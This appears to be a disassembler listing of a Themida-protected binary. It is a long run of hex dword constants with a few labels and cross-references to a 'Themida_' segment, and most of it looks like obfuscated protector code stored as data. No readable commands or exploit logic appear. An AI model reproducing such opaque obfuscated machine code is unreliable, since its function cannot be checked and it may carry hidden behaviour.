		dd 44810424h, 160424h, 51410000h, 7F61D8C3h, 22C0E681h
		dd 0BD892B08h, 61418CDh, 800F71E4h, 3, 81F08B66h, 0CDE34D7h
		dd 0F613C36h, 24083h, 0D8B60F00h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 32C35242h, 61BD2930h, 0BA061421h
		dd 6, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 1Ah
		dd 17C35040h, 72018841h, 0C38BD66Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 55C35040h, 0A86EF82Ch, 0BD9D8933h
		dd 0C1061425h, 6A04E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 88F76DC3h, 66A81267h, 0B58BE2F7h
		dd 6141C11h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 860F89C3h, 6, 1AE9B589h,	66580614h
		dd 0E9994DBFh, 0Bh, 55F710E5h, 0C6234100h, 2BC29E97h, 56880FD8h
		dd 0F000001h, 8Eh, 7B900h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0F4648C3h
		dd 1089B58Bh, 0C1830614h, 39B58B00h, 3B06140Fh,	16860FD9h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0B768C357h, 50BD6F34h,	47DCEE86h
		dd 0F6D98C66h, 840F04C1h, 0DDh,	95FFF88Bh, 6142E45h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 13C35646h, 728CBA6Ah
		dd 66ACF80Ah, 0BD03F18Bh, 6141A91h, 0FE95Bh, 36DE0000h
		dd 0AC908B13h, 2AF54234h, 0C51D4835h, 6AC32BE9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 36CBC357h, 0C0DE8CC6h, 89B718EAh, 14265985h,	8343D06h
		dd 860F0000h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0F5C35343h, 7F6F06D1h, 0F0979828h, 0F7B70F3Eh
		dd 38E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 9E127515h, 1C718157h, 6E9399Eh, 61000000h
		dd 6B1C0C36h, 89C08BFFh, 142EE18Dh, 8BC38B06h, 71BD89D8h
		dd 0BF061406h, 667CE169h, 20B585C7h, 139D0614h,	0C08B7E91h
		dd 1AA5BD81h, 7D00614h,	850F0000h, 52h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 2FC35242h, 0AD858B60h
		dd 6106140Bh, 1AA585FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 304CC3h, 0DDA731D2h
		dd 0AC6CBF84h, 0B5FF6615h, 6141AA5h, 0DE8h, 1D5EB100h
		dd 0F80B2A8Bh, 77D4F147h, 0BE66BA18h, 0FF5F77CEh, 14116995h
		dd 38D0F06h, 66000000h,	6690FB8Bh, 8B9FB7BFh, 140BF1BDh
		dd 2DE9BF06h, 0BF0F6C45h, 0E78166FEh, 6AAC0Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 29C6C3C3h, 1419A5BDh, 0F88B6606h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 44C35646h, 519589D5h, 66061409h
		dd 0B38CE81h, 0F81BD8Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0BEA77EC3h, 0C879B32h
		dd 0FCF7B70Fh, 56006AF5h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 13F33D42h, 0D5B52B56h
		dd 0BF06141Ah, 0ED0491Fh, 18E9BD09h, 0BF0F0614h, 21BD8BF3h
		dd 8906140Fh, 142AA995h, 840FF506h, 0Ch, 2B05BD8Bh, 8D890614h
		dd 61408E9h, 12E9h, 0D7BFD500h,	231420F6h, 0F971D46Bh
		dd 0AF12CC09h, 95E8AA3h, 1425CDB5h, 0F86EE906h,	0BD8BFFFFh
		dd 6141075h, 7E52E1BEh
dword_58A240	dd 6A607Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
					; DATA XREF: Themida_:00549588o
		dd 53430000h, 0FBA950C3h, 0EE9h, 29371A00h, 0D77ED777h
		dd 83941EAFh, 0B922C58Ch, 0FFFFFFFEh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5BC35646h, 8B4AAFE3h, 0B58B9CA9h
		dd 61431C1h, 1B758D21h,	8B600614h, 1407919Dh, 7D958B06h
		dd 6106142Ch, 5318D21h,	6A0614h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 6653ADC3h, 7933F081h
		dd 18BB665Eh, 758D8BD6h, 0BA06141Bh, 3D284864h,	0F01E183h
		dd 685h, 0DB58B00h, 8B061423h, 1405318Dh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0D59D8B60h, 29061422h, 14100D8Dh, 1E18306h, 25850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 2E00FCC3h, 0CDD0A128h, 61BC7121h,	57006A60h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 5A67C091h, 0CA81663Ch, 0BE9223Fh, 3A000000h,	0CABB3872h
		dd 0A38E909Dh, 0FEB983DBh, 6AFFFFFFh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 798FC352h
		dd 0D78B66DEh, 1AC98D21h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 7430A0C3h, 2A9DB866h
		dd 0E2D8D21h, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0A57066C3h, 662D90B2h, 8B6DD7BFh
		dd 141AC98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 1E18356h,	21850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7FCD8EC3h, 8BD18B66h, 140E2D8Dh, 0E99D3106h,	83061430h
		dd 850F01E1h, 6, 0BF5BD8Bh, 60610614h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 86C35040h, 3D4CB49Dh, 349AC76Dh
		dd 6800F40h, 2B000000h,	1405EDBDh, 0FFFEB906h, 858BFFFFh
		dd 614156Dh, 1AF98D21h,	890F0614h, 6, 30A58D89h, 8D210614h
		dd 6142A05h, 0EA13BE66h, 1AF98D8Bh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 583094C3h
		dd 839A2174h, 850F01E1h, 0Ch, 249BD8Bh,	0DA810614h, 77C304F9h
		dd 2A058D8Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 170BD7C3h, 9493237Ch, 73BE0026h
		dd 600AE4ECh, 14B18D33h, 8B600614h, 140A5185h, 11E906h
		dd 44960000h, 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 6143484Bh
		dd 1E18361h, 2C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0A740BC3h, 0CE16D42Ah
		dd 16C58D89h, 0BE660614h, 6061A130h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0EAC35242h,	445C6FEDh, 0E1186478h
		dd 14E809h, 0B6DC0000h,	0C9A0FF60h, 0DFE6FDFh, 6D734DA5h
		dd 0A8D650ADh, 0B70F578Bh, 0FEB95EFFh, 8BFFFFFFh, 1400D995h
		dd 0D0DF8106h, 21238441h, 1402318Dh, 0CE906h, 0BEEB0000h
		dd 0DBA0217Ah, 0F1C840AEh, 9D292F77h, 6141595h,	20B58D21h
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F9448BC3h, 8D8BF5E6h, 6140231h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 0D0EC93DBh
		dd 0B6C6106Eh, 89FE8B66h, 140315B5h, 1E18306h, 6850Fh
		dd 958B0000h, 614038Dh,	20B58D8Bh, 8E90614h, 9B000000h
		dd 238AE67Bh, 83B99C41h, 850F01E1h, 22h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 24C35747h, 8B60C6E4h
		dd 606161CEh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	0C3C35242h, 0C198D89h, 85C70614h, 6141AA5h, 7D0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 10C35242h
		dd 4665B79Fh, 31606042h, 140D5D9Dh, 8A0F06h, 61000000h
		dd 0AE9h, 0D6F65500h, 4F12ACC6h, 61505446h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 7FB03B06h, 5959589h,	7EB0614h, 0E99D61h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 9E97C356h, 0A65595C2h, 46DF8015h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0B7C7C0B1h
		dd 14507B9Dh, 0C18BCA8Ah
		db 0EBh, 4Fh
word_58A792	dw 1C8Fh		; DATA XREF: Themida_:0054B524o
					; Themida_:0054BB98o
		dd 8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h, 0E45C5Ch, 0F53134CEh
		dd 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h
		dd 47776B00h, 0A3EA1A00h, 0D5h,	0CA199C00h, 4A0000FEh
		dd 0FBFEh, 0DDB48700h, 0D9202352h, 0E7339C9Eh, 12AFE977h
		dd 8D8B0000h, 6141B71h
dword_58A7EC	dd 12CDBD83h, 0F000614h, 3D85h,	0B800h,	0BD8B0000h, 614033Dh
					; DATA XREF: Themida_:0054B81Co
		dd 6A0004C2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0D04C353h, 0E9AE2CC3h,	0Ah, 0BD81EBC0h
		dd 602C7D02h, 0C08B14D5h, 22DD8D89h, 0BD830614h, 61430B1h
		dd 83097500h, 141AE1BDh, 13740006h, 0C08B5350h,	4D0B8h
		dd 0E9D8D00h, 0FF0616B5h, 83585BD3h, 141AE1BDh,	11740006h
		dd 0D0B85350h, 8D000004h, 16B45B9Dh, 5BD3FF06h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 1699AB9Fh, 0F8C15FB9h, 30E18589h, 0C08B0614h, 4F8BA66h
		dd 1BF6858Dh, 958B0618h, 6141BD9h, 4870F50h, 57000000h
		dd 895FD78Bh, 95892404h, 6141B5Dh, 1BB3858Dh, 0D2810618h
		dd 5E0C76C4h, 0D61CBA50h, 4896EC5h, 7BA6024h, 8B2DF8D9h
		dd 1418F595h, 9D896106h, 6142E35h, 96D95FFh, 6A0614h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0B6D34DC3h, 8B976D0Dh, 60042444h, 22DD9D8Bh,	0BD290614h
		dd 61423BDh, 0DE858961h, 6A06181Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 144DC352h
		dd 0FC244FEh, 885h, 8D896000h, 61418B9h, 24448B61h, 4D958B08h
		dd 8B061419h, 140071BDh, 0F2858906h, 0F06181Bh,	288h, 83EC8A00h
		dd 14197DBDh, 850F0006h, 0D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 66C35545h, 0EA3CA96Bh, 14BDB529h
		dd 29560614h, 142A4585h, 10B65A06h, 1A5985C6h, 0E8470614h
		dd 4, 0D49AA7D2h, 94067EBAh, 5250500Fh,	0FD68B66h, 12E831h
		dd 3F640000h, 0C177C35Eh, 2B677739h, 67BB7373h,	3015966Fh
		dd 5A5FD68Bh, 24448B58h, 8B008B04h, 244489D7h, 8B666004h
		dd 0F5861D6h, 683h, 0C0DA8100h,	0FF5BACBBh, 141AD1B5h
		dd 0ED853106h, 8D06140Bh, 1780DB85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 2B9A2CCFh
		dd 88B99944h, 0E9BD89E9h, 0FF061402h, 0E2B966D0h, 7D8589CBh
		dd 0F9061419h, 1D45BD83h, 0F000614h, 13285h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FE9C192h, 43000000h, 49B908C2h, 3811F865h, 3CCE0B50h
		dd 890F1CA1h, 7, 0C7816650h, 95A5F3Ah, 1423BD95h, 5985C606h
		dd 4706141Ah, 0EE9h, 69946C00h,	3A747FEh, 74702F00h, 68854999h
		dd 0F6B67C63h, 1A8A0Fh,	0E9600000h, 13h, 7C44A0E4h, 9189E25Eh
		dd 90CDD929h, 2ECC59Eh,	6198BC16h, 81243481h, 897CB9C9h
		dd 141B29B5h, 0D1B5FF06h, 6A06141Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1086C356h
		dd 183E06EEh, 0D5B589ABh, 8D061422h, 1780DB85h,	91BD8906h
		dd 0F061407h, 889h, 28D0F00h, 50000000h, 6AD0FF5Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0B733C350h, 8AE0C819h, 458589CEh, 6A06141Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0A9D1C353h, 0BFA1F12Ah, 0FD15803h, 683h, 4DBD8900h
		dd 83061408h, 1406CDBDh, 850F0006h, 0AEh, 0EEF8166h, 5985C660h
		dd 5606141Ah, 0B368EE8Ah, 528B5CDFh, 405ABB60h,	8B665784h
		dd 815F61F3h, 8D862404h, 0B58948C2h, 6141529h, 1AD1B5FFh
		dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0EC9734C3h, 89AD74F4h, 14142D8Dh,	0DB858D06h
		dd 0E9061780h, 13h, 8C12A3F7h, 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh
		dd 0BAC5FEF7h, 3FB79B15h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 3C1682C3h, 0F9D958Bh
		dd 85890614h, 61406CDh,	90B3CA81h, 85C62E7Ch, 6141A59h
		dd 57006A6Ch, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3F3836B5h, 683F2CC2h, 0EB55C1F0h, 0A8F0Fh
		dd 52500000h, 310F6160h, 585A5951h, 73243481h, 663050B1h
		dd 0FFAFF4B9h, 141145B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D897F81h
		dd 61404D1h, 30C3C781h,	858D4701h, 6143B13h, 2F898D29h
		dd 0D0FF0614h, 19818529h, 0E6800614h, 0E285897Ah, 8B06181Bh
		dd 14102195h, 0FEBD8306h, 6181Bh, 0BE850Fh, 0BD8B0000h
		dd 6142A4Dh, 1A5985C6h,	6A490614h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 489FC356h
		dd 0D6305267h, 4B96448h, 6802EF17h, 0BDB7C869h,	3481F58Ah
		dd 0A2E18024h, 45B5FF31h, 6A061411h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B484C353h
		dd 626CAF55h, 29BF88B0h, 8D2F8CA1h, 143B1385h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0B16FB8D4h, 0F99F726Bh, 31BD897Fh, 66061411h, 0FF6C2CBAh
		dd 2D952BD0h, 89061408h, 1421B985h, 0FE858906h,	6606181Bh
		dd 32BEF81h, 0EA80046Ah, 5EA9686Ch, 481CAF4h, 0BB15724h
		dd 6830F35h, 89000000h,	140E1585h, 4E806h, 0
		dd 0F560001h, 585h, 0CAA7B900h,	505A7561h, 448BB8B2h, 8B660424h
		dd 52008BD1h, 8959CA8Ah, 0F042444h, 283h, 58CB8B00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 5D1B0B2Bh
		dd 8992ED1Fh, 142EDD85h, 55958B06h, 6A061430h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 5F940A66h, 0B5896B72h, 614193Dh, 1C5595FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C4EE3EC3h, 8589216Ch, 6181BEEh, 0C7F9BF0Fh,	181BE685h
		dd 6, 29BD8B00h, 6A06140Ah, 45958B00h, 68061415h, 832E11DEh
		dd 481FB8Bh, 0D2EE2224h, 56006A7Ch, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 805B1938h, 0CE710366h
		dd 90CB8B8Ah, 5840F52h,	0BA000000h, 2A12149h, 9E95059h
		dd 4E000000h, 74CB6E0h,	8D39F0Ch, 0CD952990h, 6A061405h
		dd 55006A0Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D329BBEDh, 90CBDC12h, 9523516Ch, 61430ADh
		dd 0BB858D5Fh, 0F06181Bh, 88Eh,	8D295200h, 6140F19h, 6060505Fh
		dd 0AE8F88Bh, 1B000000h, 3C7276F7h, 94657D65h, 0E96159E0h
		dd 0Eh,	0FC473DEEh, 1EB048A2h, 83E3CFD7h, 8961A2CDh, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8998C3h, 61402A1h, 197D95FFh, 0AE90614h, 21000000h
		dd 6B14A879h, 0D9DAED97h, 0C5B58DD8h, 0E906181Bh, 0Ah
		dd 0DEF1F1DAh, 0D8849313h, 10E88CCBh, 46000000h, 1AA9E1B8h
		dd 0CB4DD57h, 0FE015C1Ah, 8BF33FAFh, 1403E995h,	0E9505906h
		dd 8, 0E94FDB5Fh, 3F9A28E1h, 0F243489h,	5150C9BFh, 895FF08Ah
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D5A8F0C3h, 4595FF0Ch, 6A06141Dh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8E1AC356h, 5B652A45h, 894F930Ch, 140D0D8Dh, 0A9B52906h
		dd 0B061408h, 47850FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 970FC352h
		dd 0B36C0EE1h, 813E9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 96F91446h, 0D0FF362Fh
		dd 0DE9h, 1C744500h, 26E73533h,	2FCC9421h, 958BD18Ch, 6142B15h
		dd 1BEEB58Bh, 958B0618h, 614157Dh, 225DBD8Bh, 468D0614h
		dd 71953120h, 6A06140Fh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0BEC35740h, 92FD8E82h
		dd 0BD898F85h, 6140555h, 0E6BF6650h, 24048974h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1C35242h, 0CDBBC169h
		dd 99FE63EAh, 8C0FE3h, 0FF000000h, 181BFE95h, 44E98106h
		dd 6071B512h, 22298D89h, 0B610614h, 46840FC0h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 14FFC357h, 19A314A0h, 0F1FF6ECh, 583h, 0CF816600h
		dd 0DE929C5h, 0E8000007h, 6, 57875F4Fh,	95893300h, 614094Dh
		dd 207E8059h, 0F1840F00h, 29000006h, 140091B5h,	27BF6006h
		dd 660DA889h, 468DD38Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 5B589FDh, 8906142Bh, 181BEA85h
		dd 6820F06h, 89000000h,	14199595h, 95895606h, 6141115h
		dd 14EE95Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 8112B6C3h, 88B260E6h, 52006A40h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 82EC4540h, 14FDBD8Bh, 0B5890614h, 61418E9h, 0ADBA6650h
		dd 240489E3h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	55C35141h, 0BD8B80F7h, 614267Dh, 46AD8B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 22C35343h, 0EE8A505Eh
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0DF9AC352h, 0B5B531B6h, 0FF06142Eh
		dd 181BFE95h, 9E906h, 7E540000h, 790802B6h, 8BF8CDB1h
		dd 0B46056D8h, 8E9C0h, 1E710000h, 0CF97A26h, 59615FA9h
		dd 2279958Bh, 6A580614h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D77DC357h,	0FDB0BF9h
		dd 3384h, 0FABF0F00h, 57BE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 458A0A8h, 0A8AE93DDh
		dd 8D895E73h, 6141195h,	0F003880h, 0FFFECB85h, 6E8FFh
		dd 0E8510000h, 6FEE2B14h, 15E959FCh, 56000000h,	2E89BD89h
		dd 485F0614h, 5E5958Bh,	51570614h, 5F595951h, 1BEA853Bh
		dd 820F0618h, 66h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0AAC35141h, 79FDDF27h, 1DA1958Bh, 38800614h
		dd 37840F5Ch, 29000000h, 1404D9BDh, 2F388006h, 0FFA9850Fh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0D28130C3h, 56381A7Fh, 23659531h,	6A400614h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0C66DC355h, 809E75C9h, 850F0AD1h,	6, 2D259589h
		dd 0BD830614h, 6181BF2h, 0B7840F00h, 6A000001h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F3FBC350h, 52505011h, 0DA21B966h, 0E960310Fh, 0Eh
		dd 480FDC76h, 98A22C77h, 284ED31h, 0B86633BEh, 5A61AD82h
		dd 24048958h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	30C35545h, 3F0B3F37h, 0F28503BFh, 6A06181Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 2933C351h, 0FBB30C7Bh, 958B604Ch, 6140ED9h, 5699D89h
		dd 90610614h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0F156FC3h, 58D6806Bh, 58F18166h
		dd 0BF046AF0h, 69F8FEAAh, 870F6050h, 2,	0EE9E18Ah, 86000000h
		dd 7C8344C5h, 51D0956Fh, 0CEEC3169h, 489619Fh, 15858924h
		dd 0FF061423h, 181BFE95h, 11E85106h, 8A000000h,	5379FA11h
		dd 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h, 9E9h, 95B00500h
		dd 0F37003Bh, 595F977Dh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 3BD3A0C3h, 0BF0F5856h
		dd 0FDB0BCEh, 0E84h, 0E1816600h, 19E9D93Ah, 66000003h
		dd 0C66EC1B9h, 6A0000h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0AF37A0C3h, 94617F7Eh, 8BF08A8Ch
		dd 6A58FBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 5C1381C3h, 5809CDC8h, 5704DD27h, 5FD78B66h
		dd 1FB5B589h, 50900614h, 8B90D08Bh, 1424E1BDh, 2D8D3106h
		dd 6A061400h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 1909CC8Eh, 2A21B589h, 66900614h
		dd 8A50CB8Bh, 6A90D5h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0B2779EC3h, 0BE9h, 6687C800h, 1CA3A928h
		dd 0EBD82410h, 13E860h,	20D00000h, 206EA06Eh, 87E5475Ch
		dd 0C7A55F7Dh, 0A1622F02h, 5EF78B8Ah, 16830Fh, 11E90000h
		dd 0AE000000h, 78850523h, 814748FFh, 19DF63C1h,	0A5D95120h
		dd 0FE95FF61h, 8B06181Bh, 1401CD8Dh, 0E9D88B06h, 13h, 49857C21h
		dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 58FC2DCBh, 840FDB0Bh
		dd 11h,	16F59529h, 0D9E90614h, 8B000001h, 1426118Dh, 880F5006h
		dd 14h,	6E85250h, 0C000000h, 7F4C0E01h,	310F592Fh, 585A5F51h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D34CC355h, 1394AE27h,	0BE8E1h
		dd 1CD90000h, 88906766h, 0E6D6D686h, 959F9FFh, 14055985h
		dd 0DEB5FF06h, 6A06181Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 8B51C351h, 0BC39A48Eh
		dd 0F1FA045h, 883h, 0B70F6000h,	0F18B66D0h, 0E295FF61h
		dd 6A06181Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FC9DC356h, 850FC00Bh,	0ADh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h, 6612F17Dh
		dd 613CB0BFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	84C35040h, 3E5E600Fh, 820FCC20h, 4, 3C6EBF66h
		dd 1BE685C7h, 10618h, 9D890000h, 6142171h, 0B3E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0D01A9835h, 0AE960ECh, 0B4000000h, 9326F904h, 8E212089h
		dd 0D08A60E2h, 0EE9h, 86483800h, 0AB2CEE96h, 0E19131D4h
		dd 61DB17C0h, 9E96161h,	73000000h, 19E1089Ah, 295776C2h
		dd 2F318D29h, 0C6810614h, 11Ch,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 42C35040h, 8D8985BDh, 61415A5h
		dd 0FFF861E9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B44C9D8Eh, 8B8B30FDh
		dd 0CBBF0FD7h, 0D6DA9168h, 81CB8B7Ch, 5A912434h, 0E2807CD6h
		dd 0C99589A2h, 6A061414h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 35958B84h
		dd 0FF06142Dh, 181BEEB5h, 0D6B70F06h, 6CD95FFh,	958B0614h
		dd 6140045h, 1BE6858Bh,	8A0F0618h, 1, 0BF5090F9h, 185CFDABh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0B955F672h, 0DEBF66DCh, 0F6858D74h, 6A06181Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0EC10C353h, 75F39Fh, 0E94038A1h, 0Dh, 0A72B5B7Ah
		dd 39391B67h, 0F3F9ABBFh, 0BA6690AFh, 565032B4h, 0C36AB966h
		dd 0FA8B905Fh, 8DCB8B66h, 181BB385h, 10E906h, 0BBEF0000h
		dd 0DE5E8023h, 484709E2h, 0D4A6D23Fh, 609023C2h, 7E8h
		dd 4D765800h, 2A41A9C6h, 8B0Fh,	0B85A0000h, 599E3AAFh
		dd 0D68B5061h, 0A6A8BF90h, 95FF5688h, 61431ADh,	0DE9h
		dd 69A9BE00h, 0DDD051F9h, 0B4C2F707h, 0C08B42DBh, 2FB98589h
		dd 0B70F0614h, 0B1BD83C8h, 61430h, 0BD830975h, 6141AE1h
		dd 50137400h, 0B8C08B53h, 4D0h,	0B5759D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6141AE1h, 50117400h, 4D0B853h, 9D8D0000h
		dd 616B474h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 13C35343h, 0EA76FF86h, 0F58A527Eh, 53006A5Fh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
